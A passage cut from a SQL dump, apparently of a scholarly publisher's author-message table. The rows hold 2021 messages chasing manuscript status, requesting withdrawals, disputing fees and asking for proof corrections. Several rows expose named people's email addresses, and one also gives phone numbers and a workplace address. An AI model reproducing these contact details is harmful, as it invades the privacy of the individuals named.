regards!</p>\r\n<p>Dr. Sirma Angelova, DMD, PhD</p>',762,1509,2,'2021-08-28 07:19:21',1),(941,'Urgent attention needed','<p>Hello,&nbsp;</p>\r\n<p>I have attempted to email multiple times but the article published has the incorrect abstract and formatting. Can someone please help address this? We paid a fee for publication and this is not\nwhat was paid for. If not, can we please take down the article so we can submit to another journal that will print appropriately?</p>\r\n<p>Thank you</p>\r\n<p>David Sheridan MD</p>\r\n<p><a href=\"mailto:sheridda@ohsu.edu\">sheridda@ohsu.edu</a></p>\r\n<p>Associate Professor of Emergency Medicine</p>\r\n<p>oregon health and science University</p>',667,4736,1,'2021-08-30 14:58:20',1),(943,'	Withdrawl of ipapp-20-6378','<div dir=\"auto\">I got this email regarding my article page proofs and invoice. I would like to clear that I had already mailed your technical team so many times regarding withdrawing my article due to\ndelay of approx one year. I have communicated also about that at any stage, I will not pay any charges when I had submitted it.&nbsp;<strong>Recent mail on 23july, I have once again inform you about\nthe withdrawal because I could not get any response for so many mails.&nbsp;</strong><strong>Without sending me any update regarding my article and suddenly sending me Pageproofs and&nbsp; invoice is\nunacceptable. (which I have already withdrawn and Even your team has accepted the technical issues of your website for the Delay)&nbsp;</strong></div>\r\n<div dir=\"auto\">So without any delay do not proceed further and&nbsp;<strong>do not publish my article.</strong></div>',282,7631,1,'2021-09-01 13:44:40',0),(946,'Table number 10','<p>Respected sir,</p>\r\n<p>Thank you for your response. Table number 10 will be submitted within 2-3 days.&nbsp;</p>\r\n<p>Thanking you</p>\r\n<p>Prof. T.K. Pal</p>',900,10151,1,'2021-09-06 13:34:29',1),(947,'About decision letter','<p>Dear sir, How much time will need to get the acceptance or rejection letter from your journal?&nbsp;</p>',48,10904,1,'2021-09-07 07:36:29',1),(948,'Table-10','<p>Respected sir,</p>\r\n<p>Sorry to late , table -10 has been submitted today.</p>\r\n<p>Thanks and regards</p>\r\n<p>Prof. T.K.Pal</p>',900,10151,1,'2021-09-08 13:18:13',1),(949,'Copper Deficiency Review','<p>To whom it may concern,&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Two weeks ago, we corrected the edited version of our copper deficiency review. On behalf of the authors, I am kindly asking you, when the corrected and final version of the manuscript will be\nready to publish?</p>\r\n<p>Thank you very much,&nbsp;</p>\r\n<p>Dr. Patrick Hofmann</p>',181,9904,1,'2021-09-08 18:12:23',1),(950,'Request for my article status\nclarification','<p>Dear Editors I hope you are keeping well.</p>\r\n<p>I am wondering if you can clarify the current status of my submited paper (<span>ipdehc-21-7736).</span></p>\r\n<p><span>although the current status is accepted since April, I heard nothing from you such as sending me the document for details verifications etc.</span></p>\r\n<p><span>Furthermore, I once received the invoice email after I had already paid the publishing process.&nbsp;</span></p>\r\n<p><span>However, I have not yet received any email about settlemnt of the controverse of the invoice.</span></p>\r\n<p><span>I am looking forward to hearing from you.</span></p>\r\n<p><span>regards</span></p>\r\n<p><span>Musa</span></p>',50,8958,1,'2021-09-11 13:56:09',1),(951,'Analysis and Electrochemical Capacitance\nof Single Walled Carbon Nanotubes (10,\n4) Synthesized Via Chemical Vapour\nDeposition Method','<p>The subject is the title of our manuscript (ipnto-21-10271) submitted to your journal for publication, on 29th August, 2021 and accepted on 9th Sept, 2021. However, we did not receive any written\ndocument that testifies this. We urgently need clarification on our manuscript.</p>\r\n<p>Yours Sincerely,</p>\r\n<p>Dr. Danlami Umar Zuru</p>',299,10962,1,'2021-09-13 14:50:41',1),(953,'Fee','<p>Dear Sir/Madam,</p>\r\n<p>I was not aware of the fee needed to publish the article. Would you be able to confirm the fee value?</p>\r\n<p>&nbsp;</p>\r\n<p>Regards,</p>\r\n<p>Jhiamluka Solano</p>',85,11037,1,'2021-09-18 15:19:19',1),(954,'Copper Deficiency Review','<p>To whom it may concern,&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>On behalf of the Authors I am kindly askain again, when the revised manuscript will be available for a hopefully last proofread.&nbsp;</p>\r\n<p>Thank you very much</p>\r\n<p>Dr. Patrick Hofmann</p>\r\n<p>&nbsp;</p>',181,9904,1,'2021-09-19 12:02:49',1),(956,'Postponed the paper','<p>Dear Sir. It is requested that kindly postponed my research paper for publication. I want to make changes and then again will send it to you. Thank you sir</p>',299,11135,1,'2021-09-20 05:09:27',0),(957,'Please do not publish this paper','<p>Dear Sir, Greetings My supervisor want to make alot of changes in titles, characterization, and figures etc. Therefore please do not publish this work until you do not receive email from my side.\nIt is a request please sir that do not publish it. Thank you</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>',299,11135,1,'2021-09-20 07:53:27',0),(958,'Medical case report submission','<p>Hi</p>\r\n<p>&nbsp;</p>\r\n<p>Please note, that i have identified numerous typo errors with this script which need to be amended prior to print for publication</p>\r\n<p>&nbsp;</p>\r\n<p>I will send a version of the script with the errors highlighted - please confim these secondary amendments will be made prior to printing for publication</p>\r\n<p>&nbsp;</p>\r\n<p>thanks</p>\r\n<p>rhiannon</p>',267,10579,1,'2021-09-20 12:06:28',1),(959,'withdrawl of research paper','<p>Dear Sir, Greeting. It is requested that kindly withdraw my research paper from publication and please do not publish it. thank you</p>',299,11135,1,'2021-09-20 16:24:00',0),(960,'withdrawl of research paper','<p>Dear Sir Greeting</p>\r\n<p>i have requested several times to you that please do no publish my article. your journal is not included in higher education comission pakistan recognized journals therefore the country will not\naccept by paper. I know that an author have right to withdraw his paper before acceptance and publication. once again I request you that please withdraw this article otherwise you and your journal\nwill face legal action from my side. I hope that you will withdraw it after this email. thank you</p>',299,11135,1,'2021-09-21 15:09:20',1),(961,'Copper Deficiency Review','<div>Dear Members of the Editorial Board</div>\r\n<div>&nbsp;</div>\r\n<div>I REALLY CAN NOT UNDERSTAND WHY MY CORRECTIONS ARE NOT RESPECTED AFTER SEVERAL ROUNDS OF REVISION. THIS IS EXTREMELY TIME CONSUMING WORK FOR ME AS A BUSY CLINICIAN TO CORRECT THIS MANUSCRIPT OVER\nAND OVER WITHOUT ANY IMPROVEMENT...</div>\r\n<div>SO I KINDLY URGE YOU TO FINALLY READ MY POINT BY POINT CORRECTIONS BELOW AND THE CORRESPONDING COMMENTS IN THE MANUSCRIPT AND CORRECT IT ACCORDINGLY.&nbsp;</div>\r\n<div>&nbsp;</div>\r\n<div>&nbsp;</div>\r\n<div>1.&nbsp;<span>Correct: should instead of should</span></div>\r\n<div>...Copper deficiency should be considered&hellip;.</div>\r\n<div>&nbsp;</div>\r\n<div>2. Change the typestyle of \"Transport, Storage and Excretion \" &nbsp;to black and bold letters exactly as the subtitle \" Absorption\" in this paragraph.&nbsp;</div>\r\n<div>&nbsp;</div>\r\n<div>3. PLEASE , PLEASE &nbsp;I AM ASKING YOU TO CORRECT FIGURE 1 AND 2 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Figures and Figure legends are wrong and must be exchanged. See the attached pdf documents as\nan example of which figure legend goes with which figure !!!!!!!!!!</div>\r\n<div>&nbsp;</div>\r\n<div>4. This whole paragraph beginning from&nbsp;</div>\r\n<div>\" In a trespective study, ......to .....in patients after bariatric surgery. (28,40)</div>\r\n<div>&nbsp;must be placed above at the end of the paragraph \" Diagnosis, Treatment and Prevention after the sentence ....the long term and can be irreversible (29,30,33,38)</div>\r\n<div>&nbsp;</div>\r\n<div>&nbsp;</div>\r\n<div>&nbsp;</div>\r\n<div>PLEASE CAREFULLY CHECK THE EXAMPLES FOR FIGURE 1 AND 2 I HAVE SEND YOU BY MAIL TO CORRECT THE MANUSCRIPT.&nbsp;</div>\r\n<div>&nbsp;</div>\r\n<div>&nbsp;</div>\r\n<div>I am waiting for your correction.&nbsp;</div>\r\n<div>Dr. Patrick Hofmann</div>',181,9904,1,'2021-09-22 18:52:17',1),(963,'Requesting ','<p>I have submitted and it was accepted the manuscript, but still no response on comments.</p>',509,10706,1,'2021-09-23 12:38:01',1),(964,'Retraction from submission 2','<p>Mr., Mrs. from the Editor board,<br /><br />As I have no way to know if you received the previous e-mail i sent. I would like to manifest once again my wish to retract from the submission process\nfor my article.&nbsp;<br />Sorry for the inconvenience and thank you for your comprehension.<br /><br />Respectfully,</p>\r\n<p>O. Lopez</p>',62,11293,1,'2021-09-23 14:19:06',1),(965,'Copper Deficiency Review','<p><span>Thank you for finally taking into account our remarks and correcting the manuscript!</span></p>\r\n<div>&nbsp;</div>\r\n<div>Attached again the pdf file, there are only 4 small errors left, I kindly ask you to correct <strong>CAREFULLY</strong> as soon as possible.&nbsp;</div>\r\n<div>&nbsp;</div>\r\n<div>&nbsp;</div>\r\n<div>\r\n<div>1. Please delete the title \"Transport, Storage and Excretion\" in violet here.&nbsp;</div>\r\n</div>\r\n<div>&nbsp;</div>\r\n<div>\r\n<div>2. Replace \"Absorption\" by Transport, Storage and Excretion.&nbsp;</div>\r\n<div>To explain:&nbsp;</div>\r\n<div>\"Physiology\" is the paragraph title, \"Absorption\" and \"Transport, Storage and Excretion\" are both subtitles in this section and must be the same size and black colour!</div>\r\n<div>&nbsp;</div>\r\n<div>\r\n<div>3.&nbsp; Could you please center this Figure a bit more down, so it will not overlay Reference (28)</div>\r\n<div>&nbsp;</div>\r\n<div>\r\n<div>4. This line would better fit on the next page, please adjust</div>\r\n<div>&nbsp;</div>\r\n<div>&nbsp;</div>\r\n<div>Thank you, awaiting the hopefully final version of the manuscript!</div>\r\n<div>Dr. Patrick Hofmann</div>\r\n</div>\r\n</div>\r\n</div>',181,9904,1,'2021-09-25 08:07:38',1),(966,'Revised manuscript','<p>Dear recipient,</p>\r\n<p>I sent my revised manuscript a few minutes ago. I had some difficulties to download the manuscript. At last I found several copies of the same revised manuscript on the site. I&acute;m sorry for\nthis inconvenience.</p>\r\n<p>Best regards, P&auml;ivi Pietil&auml;-Effati</p>',268,11116,1,'2021-09-28 20:05:02',1),(968,'Publication charge','<p><span>Respected sir</span></p>\r\n<div dir=\"auto\">Please send me invoice in&nbsp; email id&nbsp; and we are waiting for your invoice. We will be paid as soon as possible on today.&nbsp;</div>\r\n<div dir=\"auto\">Thanking you</div>\r\n<div dir=\"auto\">Prof. T. K. Pal</div>',900,10151,1,'2021-10-01 09:08:46',1),(969,'Regarding publication of my accepted\ncase report\nGynecolObstet@medicineinsights.com ','<p>Dear concerned Good wishes.&nbsp;</p>\r\n<p>&nbsp;Its my pleasure that my Manuscript ipgocr-21-10374 entitled \" Giant ovarian Cyst adenoma in a postmenopausal woman : A case report with literature review\" has been accepted.&nbsp; Now i like\nto proceed further. How to pay Article Procesing Charges .</p>\r\n<p>&nbsp;</p>\r\n<p>Dil Anziz Begum</p>\r\n<p>Consultant,Department of OBE-GYN</p>\r\n<p>Imperial Hospital Limited, Pahartali,Chattogram- 4202,Bangladesh</p>\r\n<p>Contact : 8809612247247, 8801711571515</p>\r\n<p>e mail: dilanziz.dr@ihlbd.org</p>',91,11003,1,'2021-10-02 11:25:41',1),(971,'Request to Give Any Response','<p><span style=\"font-size: large;\">Respected Sir/ Madam</span></p>\r\n<div><span style=\"font-size: large;\">I hope you are enjoying good health. I have submitted a paper entitled&nbsp;&nbsp;<span>&ldquo;<strong>Mistranslation of genetic codon and their controlling\nmechanism in cell</strong>&nbsp;&rdquo; in&nbsp;</span>&nbsp;</span><span><span style=\"font-size: large;\">Biochemistry &amp; Molecular Biology Journal in April 2021.\nAlmost&nbsp;<strong>Six</strong>&nbsp;months have been gone. But paper is still under review process. Please give a soft reminder to our respected reviewer.</span></span></div>',370,9351,1,'2021-10-05 17:42:54',1),(972,'Request to Give Any Response','<p><span style=\"font-size: large;\">Respected Sir/ Madam</span></p>\r\n<div><span style=\"font-size: large;\">I hope you are enjoying good health. I have submitted a paper entitled&nbsp;&nbsp;<span>&ldquo;<strong>Mistranslation of genetic codon and their controlling\nmechanism in cell</strong>&nbsp;&rdquo; in&nbsp;</span>&nbsp;</span><span><span style=\"font-size: large;\">Biochemistry &amp; Molecular Biology Journal in April 2021.\nAlmost&nbsp;<strong>Six</strong>&nbsp;months have been gone. But paper is still under review process. Please give a soft reminder to our respected reviewer.</span></span></div>',370,9351,1,'2021-10-05 17:42:59',1),(973,'Request to Give Any Response','<p><span style=\"font-size: large;\">Respected Sir/ Madam</span></p>\r\n<div><span style=\"font-size: large;\">I hope you are enjoying good health. I have submitted a paper entitled&nbsp;&nbsp;<span>&ldquo;<strong>Mistranslation of genetic codon and their controlling\nmechanism in cell</strong>&nbsp;&rdquo; in&nbsp;</span>&nbsp;</span><span><span style=\"font-size: large;\">Biochemistry &amp; Molecular Biology Journal in April 2021.\nAlmost&nbsp;<strong>Six</strong>&nbsp;months have been gone. But paper is still under review process. Please give a soft reminder to our respected reviewer.</span></span></div>',370,9351,1,'2021-10-06 12:57:22',1),(974,'Request to Give Any Response','<p><span style=\"font-size: large;\">Respected Sir/ Madam</span></p>\r\n<div><span style=\"font-size: large;\">I hope you are enjoying good health. I have submitted a paper entitled&nbsp;&nbsp;<span>&ldquo;<strong>Mistranslation of genetic codon and their controlling\nmechanism in cell</strong>&nbsp;&rdquo; in&nbsp;</span>&nbsp;</span><span><span style=\"font-size: large;\">Biochemistry &amp; Molecular Biology Journal in April 2021.\nAlmost&nbsp;<strong>Six</strong>&nbsp;months have been gone. But paper is still under review process. Please give a soft reminder to our respected reviewer.</span></span></div>',370,9351,1,'2021-10-07 15:44:25',1),(975,'Withdrawal of manuscript','<p>Dear,&nbsp;</p>\r\n<p>I sent an e-mail about the withdrawal of manuscript yesterday, but the e-mail transmission was unsuccessful. I would like to withdrawal my manuscript which I submitted on October 5th. Please reply\nafter checking the email.</p>\r\n<p>Yours Sincerely</p>\r\n<p>&nbsp;</p>\r\n<p>Kyung-Shin Paek</p>',50,11491,1,'2021-10-08 05:41:09',1),(977,'Status of my accepted Research article','<p><span>Respected sir</span></p>\r\n<div dir=\"auto\">Please send me updated status of my research article for publication.</div>\r\n<div dir=\"auto\">Thanking you</div>\r\n<div dir=\"auto\">Prof. T. K. Pal</div>',900,10151,1,'2021-10-09 08:59:51',1),(978,'STRICT ACTION / VERY POOR RESPONSE','<p>RESPECED SIR/MADAM</p>\r\n<p>I AM CONTINOUSLY MAILING YOU ABOUT MY ARTICLE UPDATE. YOU DID NOT GIVE ANY RESPONSE. GIVE ANY RESPONSE OR I AM GOING TO WITHDRAW MY ARTICLE. YOU HAVE WASTED ALMOST SIX MONTH.&nbsp;</p>',370,9351,1,'2021-10-09 18:19:53',1),(979,'VERY POOR RESPONSE ','<p>RESPECTED SIR/MADAM</p>\r\n<p>I AM CONTINUOUSLY MAILING YOU ABOUT MY ARTICLE UPDATE. YOU DID NOT GIVE ANY RESPONSE. GIVE ANY RESPONSE OR I AM GOING TO WITHDRAW MY ARTICLE. YOU HAVE WASTED ALMOST SIX MONTHS.&nbsp;</p>\r\n<div>\r\n<div class=\"gmail_signature\" dir=\"ltr\" data-smartmail=\"gmail_signature\">\r\n<div dir=\"ltr\"><em><strong><span style=\"font-size: large;\"><span style=\"text-decoration: underline;\"><span><span style=\"color: #351c75;\">Mohsin Shad</span></span></span></span></strong></em></div>\r\n</div>\r\n</div>',370,9351,1,'2021-10-09 18:21:08',1),(980,'Copper Deficiency Review','<p>On behalf of the Authors, I am kindly asking, when the final verison of our review article will be available for publication ?&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Best regards</p>\r\n<p>Dr. Patrick Hofmann</p>',181,9904,1,'2021-10-12 20:26:03',1),(981,'corresponding author','<p>Dear editor, I&nbsp; want to tell you that the other authors have raised conflict of interst regarding the publication of the manuscript. Thus, based on this issue we want&nbsp; to withdraw the\npublication&nbsp;</p>\r\n<p>Thank you</p>',48,9821,1,'2021-10-15 10:10:35',1),(982,'Regarding accepted article ','<p>Dear editor</p>\r\n<p>Could you pls tell us in which issue our accepted article will publish?</p>\r\n<p>Thank you&nbsp;</p>',282,9917,1,'2021-10-18 00:25:17',0),(983,'Regarding accepted article ','<p>Dear edior</p>\r\n<p>Could you please tell us in which issue our accepted article will publish?</p>\r\n<p>Thank you&nbsp;</p>',282,9917,1,'2021-10-18 00:26:21',1),(984,'regarding our paper No ipp-21-10778: Did\nyou receive my revision and letter to\nthe reviewers?','<p>Thank you for considering our paper ipp-21-10778 for publication in JOP. I have now uploaded our revised manuscript and letter to the reviewer, but is uncertain if this have been successfull.\nPlease respond. Best regards. Ola R&oslash;kke&nbsp; ola.rokke@medisin.uio.no</p>',21,11352,1,'2021-10-19 08:51:27',1),(985,'Regarding manuscript ipp-21-10778','<p>To the editor.&nbsp;</p>\r\n<p>Our revised manuscript seems to have been oploaded and registred. Our letter to the editor have repeated times been uploaded, appearently succsessful, bud does not appear on the list of files. Have\nyou received&nbsp; it? I may also send it as an attatchment to Your mail.</p>\r\n<p>Best regards</p>\r\n<p>Ola R&oslash;kke</p>',21,11352,1,'2021-10-19 09:07:09',1),(986,'Regarding manuscript ipp-21-10778','<p>To the Editor.</p>\r\n<p>I see now that multiple \"answers to the reviewers\" have been uploaded. There must have been some delay in the transmissions. Sorry for the inconvienience.&nbsp;</p>\r\n<p>Ola R&oslash;kke</p>',21,11352,1,'2021-10-19 09:12:34',1),(987,'Withdrawal of my article','<p>Dear recipient,</p>\r\n<p>There are some unaccepted problems within the publication of this article. I&acute;m sorry to inform that I have to withdraw my article from the journal.</p>\r\n<p>Best regards, P&auml;ivi Pietil&auml;-Effati</p>',268,11116,1,'2021-10-19 17:45:42',1),(988,'Regarding manuscript updated status','<p>Article once accepted and payment processed</p>\r\n<p>cannot be withdrawn</p>\r\n<p>kindly do needful please</p>',442,6057,1,'2021-10-20 13:57:50',1),(989,'Adding an Author to my paper','<p>Dear Sir / Madam</p>\r\n<p>I would like to add one author to my paper, from sickcare to healthcare. The author name will be&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p style=\"text-align: left;\" align=\"center\"><strong><em>Mohannad J. Al-Kudwah</em></strong></p>\r\n<p style=\"text-align: left;\" align=\"center\"><em>Quality Consultant Engineer, King Fahad Medical City</em></p>\r\n<p style=\"text-align: left;\" align=\"center\"><em>&nbsp;</em></p>\r\n<p style=\"text-align: left;\" align=\"center\"><em>Appreciate your soupport</em></p>\r\n<p style=\"text-align: left;\" align=\"center\"><em>&nbsp;</em></p>\r\n<p style=\"text-align: left;\" align=\"center\"><em>Best regards</em></p>',269,11630,1,'2021-10-21 07:49:14',1),(990,'Regarding paper submission','<p>RESPECTED SIR/MADAM</p>\r\n<p>I AM CONTINUOUSLY MAILING YOU ABOUT MY ARTICLE UPDATE. YOU DID NOT GIVE ANY RESPONSE. GIVE ANY RESPONSE OR I AM GOING TO WITHDRAW MY ARTICLE. YOU HAVE WASTED ALMOST SIX MONTHS.&nbsp;</p>',370,9351,1,'2021-10-22 17:59:01',1),(994,'The paper is out of my research domain.','<p>Dear Editor</p>\r\n<p>The paper is purely biological. I am an engineering student , working purely on brain computer interfaces. I will not be able to review this. This requires a pure bilogical knowledge. I may be\nasked to review to review based on Artificial Intelligance and healtcare in future, that will be surely appreciated.</p>',0,11720,3,'2021-10-26 06:58:36',0),(995,'decline review invitation','<p>Dear Editor,</p>\r\n<p>&nbsp; I am writing to decline the invitation to review the article entitled <strong>Effect of Farmyard Manure and Blended Fertilizer (NPSZnB) Rates on Yield and Yield Components of Hot Pepper\n(Capsicum annuum L.) at Guto Gida District, East Wollega Zone, Ethiopia</strong> foryour journal because&nbsp; I am not familiar with the field. </p>\r\n<p>&nbsp;Thanks,</p>\r\n<p>&nbsp;Bests,</p>\r\n<p>&nbsp;Zhen Wang</p>',0,10350,3,'2021-10-27 07:44:20',0),(996,'Article review','<p>Dear editor!</p>\r\n<p>&nbsp;</p>\r\n<p>The review of the article was carried out, I am available for\nfuture evaluations.</p>\r\n<p>&nbsp;</p>\r\n<p>Best regards.&nbsp;</p>',279,1405,2,'2021-10-27 12:04:46',1),(997,'Regarding paper submission','<p>RESPECTED SIR/MADAM</p>\r\n<p>I AM CONTINUOUSLY MAILING YOU ABOUT MY ARTICLE UPDATE. YOU DID NOT GIVE ANY RESPONSE. GIVE ANY RESPONSE OR I AM GOING TO WITHDRAW MY ARTICLE. YOU HAVE WASTED ALMOST SIX MONTHS.</p>',370,9351,1,'2021-10-28 19:42:51',1),(998,'Regarding paper submission','<p><span>Respected Sir.</span></p>\r\n<div>I am sharing the word file of my manuscript. The inventory file is not updated is not updated or edited. Please check it&nbsp;</div>\r\n<div>Thank You</div>',370,9351,1,'2021-10-29 19:17:07',1),(999,'Manuscript status ','<p>Dear, I submitted a year ago and it was accepted but so far it is not published. So waht is the status of my manuscript.&nbsp;</p>\r\n<p>With best regards&nbsp;</p>',48,5214,1,'2021-11-05 08:39:33',1),(1000,'Requesting ','<p>What is the current status my msnuscript?</p>',509,10706,1,'2021-11-05 11:48:00',1),(1001,'Regarding updated status of manuscript','<p>This is to bring to your notuce that once accepted</p>\r\n<p>and after APC payment how you can withdraw&nbsp;</p>\r\n<p>article without any refund&nbsp;</p>\r\n<p>please clarify</p>',442,6057,1,'2021-11-07 13:59:06',1),(1002,'miss affiliation of Dr  Fatma El-Zahraa\nM. Gouda 3','<p>Please include affiliation of Dr &nbsp;Fatma El-Zahraa M. Gouda 3</p>\r\n<div>Pomology Department, Fac. Agric, Assiut University, on the publiching research no. Adv App Sci</div>\r\n<div>Res Vol. 12 No. 9:40</div>\r\n<p>This article is available in: <a id=\"LPlnkOWALinkPreview\" href=\"../advances-in-applied-science-research/\" rel=\"noopener noreferrer\" target=\"_blank\" data-auth=\"NotApplicable\"\ndata-linkindex=\"0\">https://www.imedpub.com/advances-in-applied-science-research/</a></p>',671,11052,1,'2021-11-07 19:55:14',0),(1003,'miss affiliation of Dr  Fatma El-Zahraa\nM. Gou','<p>Please include affiliation of Dr &nbsp;Fatma El-Zahraa M. Gouda 3</p>\r\n<div>3Pomology Department, Fac. Agric, Assiut University, on the publiching research no. Adv App Sci</div>\r\n<div>Res Vol. 12 No. 9:40</div>',671,11052,1,'2021-11-08 19:59:40',1),(1004,'New Insight of Methylenetetrahydrofolate\nReductase (MTHFR) C677T Gene\nPolymorphisms, and serum electrolytes in\nCardiac Syndrome X Patients','<p>I will not be able to review this article as it does not fall under my area of specialisation, i therefore decline.</p>',0,11779,3,'2021-11-12 10:36:48',0),(1005,'Withdraw manuscript No. ajpsky-21-11428','<p>Dear Editor,</p>\r\n<p>This is the second email to you, We have applied for manuscript withdraw on November, 11th, 2021. but we have not receive any response from you. Please consider our request and confirm the withdraw\nprocess. Looking forward for your response.</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you</p>\r\n<p>Yours;</p>\r\n<p>Muna Alariqi</p>',101,11852,1,'2021-11-15 06:21:04',1),(1006,'QURIES RELATED MANUSCRIPT.','<p>RESPECTED SIR/MADAM</p>\r\n<p>&nbsp;As per previous discussion about manscript the respected editor asked me to resubmit my manuscript in word file. The new reviewer was assigned for this manuscript. Approximately eight mounth\nhas been gone from previous submission up till now. Please gives soft reminder to our respected reviiewer.</p>\r\n<p>Thank You</p>\r\n<p>Mohsin Shad</p>',370,9351,1,'2021-11-16 17:08:29',1),(1007,'Regarding paper submission','<div>&nbsp;<span>Respected Sir/ Madam</span></div>\r\n<div><span style=\"font-size: large;\">I hope you are enjoying good health. I have submitted a paper entitled&nbsp;&nbsp;<span>&ldquo;<strong>Mistranslation of genetic codon and their controlling\nmechanism in cell</strong>&nbsp;&rdquo; in&nbsp;</span>&nbsp;</span><span><span style=\"font-size: large;\">Biochemistry &amp; Molecular Biology Journal in April 2021.\nAlmost&nbsp;<strong>six</strong>&nbsp;months have been gone. But paper is still under review process.&nbsp; In our previous discussion,&nbsp;you are advised&nbsp;me to submit a word file of the\nmanuscript. The current reviewer did not any response&nbsp;yet.&nbsp; Please give a soft reminder to our respected reviewer.</span>&nbsp;</span></div>',370,9351,1,'2021-11-17 19:29:52',1),(1008,'QURIES RELATED MANUSCRIPT.','<div>&nbsp;<span>Respected Sir/ Madam</span></div>\r\n<div><span style=\"font-size: large;\">I hope you are enjoying good health. I have submitted a paper entitled&nbsp;&nbsp;<span>&ldquo;<strong>Mistranslation of genetic codon and their controlling\nmechanism in cell</strong>&nbsp;&rdquo; in&nbsp;</span>&nbsp;</span><span><span style=\"font-size: large;\">Biochemistry &amp; Molecular Biology Journal in April 2021.\nAlmost&nbsp;<strong>six</strong>&nbsp;months have been gone. But paper is still under review process.&nbsp; In our previous discussion,&nbsp;you are advised&nbsp;me to submit a word file of the\nmanuscript. The current reviewer did not any response&nbsp;yet.&nbsp; Please give a soft reminder to our respected reviewer.</span>&nbsp;</span></div>',370,9351,1,'2021-11-17 19:30:59',1),(1009,'Regarding paper submission','<div>&nbsp;<span>Respected Sir/ Madam</span></div>\r\n<div><span style=\"font-size: large;\">I hope you are enjoying good health. I have submitted a paper entitled&nbsp;&nbsp;<span>&ldquo;<strong>Mistranslation of genetic codon and their controlling\nmechanism in cell</strong>&nbsp;&rdquo; in&nbsp;</span>&nbsp;</span><span><span style=\"font-size: large;\">Biochemistry &amp; Molecular Biology Journal in April 2021.\nAlmost&nbsp;<strong>six</strong>&nbsp;months have been gone. But paper is still under review process.&nbsp; In our previous discussion,&nbsp;you are advised&nbsp;me to submit a word file of the\nmanuscript. The current reviewer did not any response&nbsp;yet.&nbsp; Please give a soft reminder to our respected reviewer.</span>&nbsp;</span></div>',370,9351,1,'2021-11-17 19:31:23',1),(1010,'Manuscript status ','<p>Dear, this is the second letter whch i send about the status of my mnuscript. Please wouldyou tell me the status of the paper?&nbsp;</p>\r\n<p>&nbsp;</p>',48,5214,1,'2021-11-19 13:00:26',1),(1011,'miss affiliation of Dr  Fatma El-Zahraa\nM. Gouda 3','<p>Please include affiliation of Dr &nbsp;Fatma El-Zahraa M. Gouda 3</p>\r\n<div>Pomology Department, Fac. Agric, Assiut University</div>\r\n<div>&nbsp;</div>\r\n<div>on the publiching research no. Adv App Sci</div>\r\n<div>Res Vol. 12 No. 9:40</div>',671,11052,1,'2021-11-19 19:54:48',1),(1012,'Withdraw submission ','<p>We requested this paper be withdrawn from consideration after not being able to contact editors. Please withdraw this submission we will not be submitting a revision.</p>',131,11517,1,'2021-11-22 16:42:42',1),(1013,'Thank you','<p>Hello, I got an email about acceptance of my paper in the journal but I couldnt send my complete form yet How would you prefer to get the full paper by email o system.</p>',984,11865,1,'2021-11-25 10:48:36',1),(1014,'Manuscript status ','<p>Dear, greeting&nbsp;</p>\r\n<p>I am Deresse fromEthiopia. I submitted the paper on your journal so far not published. It was accpeted but not published. Waht is the problem?&nbsp;</p>',48,5214,1,'2021-11-25 12:05:52',1),(1015,'manuscript progress','<p><span>Hey there!</span></p>\r\n<div>&nbsp;</div>\r\n<div>This email is to ask you about our manuscript sent 2 months ago, No. ipars-21-10345. The payment was made but has not yet been published. Name manuscript is&nbsp;<span>Venous congestion\nresolution in DIEP flaps with pedicle division and use of cephalic vein, report of 2 cases.&nbsp;&nbsp;</span>Author&acute;s names: Camilo mejia, David Ramirez, Marcela Sanhez.</div>\r\n<div>&nbsp;</div>\r\n<div>Regards,</div>',409,11017,1,'2021-11-28 18:47:13',1),(1016,'Review invitation ','<p>I decline the review invitation as it does not fall under my expertise. Thanks.</p>',0,11779,3,'2021-11-30 05:08:51',0),(1017,'Asking for manuscript status update','<p>Dear all staff</p>\r\n<p>This my question on the status of my manuscrpt submission to your respected jurnal. As you may recall i have submitted a manuscript to your journal on&nbsp;<span>Oct 19, 2021, i have received\nstatus update on&nbsp;<span>Oct 22, 2021. Please could I know the current status of the manuscript?</span></span></p>',309,11661,1,'2021-11-30 12:18:28',1),(1018,'Asking for manuscript status update','<p>Dear all staff</p>\r\n<p>As you may recall I have submitted a manuscript entitled \"Review on Tungiasis: Neglected Tropical Diseases of Resource Poor Community\" with Manuscript number ipias-21-11162on October 19/2021 and\nreceived status update on October 22/2021. This my kind request for current status.</p>\r\n<p>Thank you</p>\r\n<p>Ayele Bizuneh (Dr)</p>',309,11661,1,'2021-12-01 06:34:10',1),(1019,'please help me','<p>hi</p>\r\n<p>dear</p>\r\n<p>&nbsp;good times</p>\r\n<p>please help me</p>\r\n<p>i reviewed the paper entitled\" analysis of myelomalacia and posterior longitudinal ligament ossification as prognostic factors in patients with spondylitic cervical myelopathy submitted to\nlaminoplasty\"</p>\r\n<p>but i faced problem to send of the review&nbsp;</p>\r\n<p>i want to verify my&nbsp; review in publons</p>',0,11876,3,'2021-12-01 11:42:58',0),(1020,'Asking for manuscript status update','<p>Dear all staff</p>\r\n<p>As you may recall I have submitted a manuscript entitled \"Review on Tungiasis: Neglected Tropical Diseases of Resource Poor Community\" with Manuscript number ipias-21-11162on October 19/2021 and\nreceived status update on October 22/2021. This my kind request for current status update.</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you</p>\r\n<p>Ayele Bizuneh (Dr)</p>',309,11661,1,'2021-12-03 08:36:34',1),(1021,'Reg: Need for update of publication\nprocess','<p>Dear Editor,</p>\r\n<p>I didnt received any gallary proof or invoice. i had made APC payment on 21/11/2021. Further no email i received from the Editorial office. Can you or office can update.</p>\r\n<p>Thankyou,</p>\r\n<p>Dr Sagar</p>',21,11115,1,'2021-12-05 07:37:03',1),(1022,'iMedPub LTD  Ref.: Ms. No.\nipaom-21-11808 - REVISION COMPLETED  AS\nPER THE COMMENTS ADVICES BY REVIEWERS','<p>Dear Sir/ Madam,</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thanks for the reviewing of my MANUSCRIPT and the comments appended for necessary\ncorrections. I wish to submit that I have gone through all the comments in detail, revised the Manuscript in detail and made possible corrections as advised. Here with submitting the verified\ncorrections for each comment for your necessary 